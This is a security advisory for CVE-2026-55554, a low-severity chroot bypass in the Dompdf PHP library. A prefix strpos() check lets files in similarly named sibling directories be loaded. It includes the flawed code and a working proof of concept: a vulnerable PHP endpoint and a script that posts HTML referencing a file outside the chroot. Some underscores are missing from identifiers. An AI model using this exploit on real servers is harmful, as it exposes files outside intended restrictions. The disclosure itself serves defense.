PT-2026-63542 · Packagist · Dompdf/Dompdf

CVE-2026-55554

·

Published

2026-07-22

·

Updated

2026-07-22

CVSS v4.0

2.3

Low

VectorAV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

Details

The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
  public function validateLocalUri(string $uri)
  {
    ...
    $realfile = realpath(str replace("file://", "", $uri));
    ...
    foreach ($dirs as $chrootPath) {
      $chrootPath = realpath($chrootPath);
      if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
        $chrootValid = true;
Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www backup, despite these being different directories.

PoC

With a directory structure similar to:
/home/dompdf/
 |--> web/
    |--> pdf.php
    |--> cat0.jpg
 |--> web-admin/
    |--> cat1.jpg
And web-accessible Dompdf functionality similar to the following (poc.html):
<?php
require 'vendor/autoload.php';
use DompdfDompdf;
use DompdfOptions;

$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);

$dompdf->loadHtml($ POST['html']);
$dompdf->render();
$dompdf->stream();
?>
A malicious actor can exploit the vulnerability with the following script:
$html = <<<HTML
<!DOCTYPE html>
<html>
  <body>
    <p>within chroot</p>
      <img src="/home/dompdf/web/cat0.jpg">
    <p>outside of chroot</p>
      <img src="/home/dompdf/web-admin/cat1.jpg">
  </body>
</html>
HTML;

$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
  'http' => [
    'header' => $headers,
    'method' => 'POST',
    'content' => http build query($data),
    'ignore errors' => true,
  ],
];
$context = stream context create($options);
$response = file get contents($url, false, $context);
When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.

Impact

An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

Fix

RCE

Path traversal

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Weakness Enumeration

CWE-20CWE-22

Related Identifiers

CVE-2026-55554
GHSA-WVH6-F5JH-8GW4

Affected Products

Dompdf/Dompdf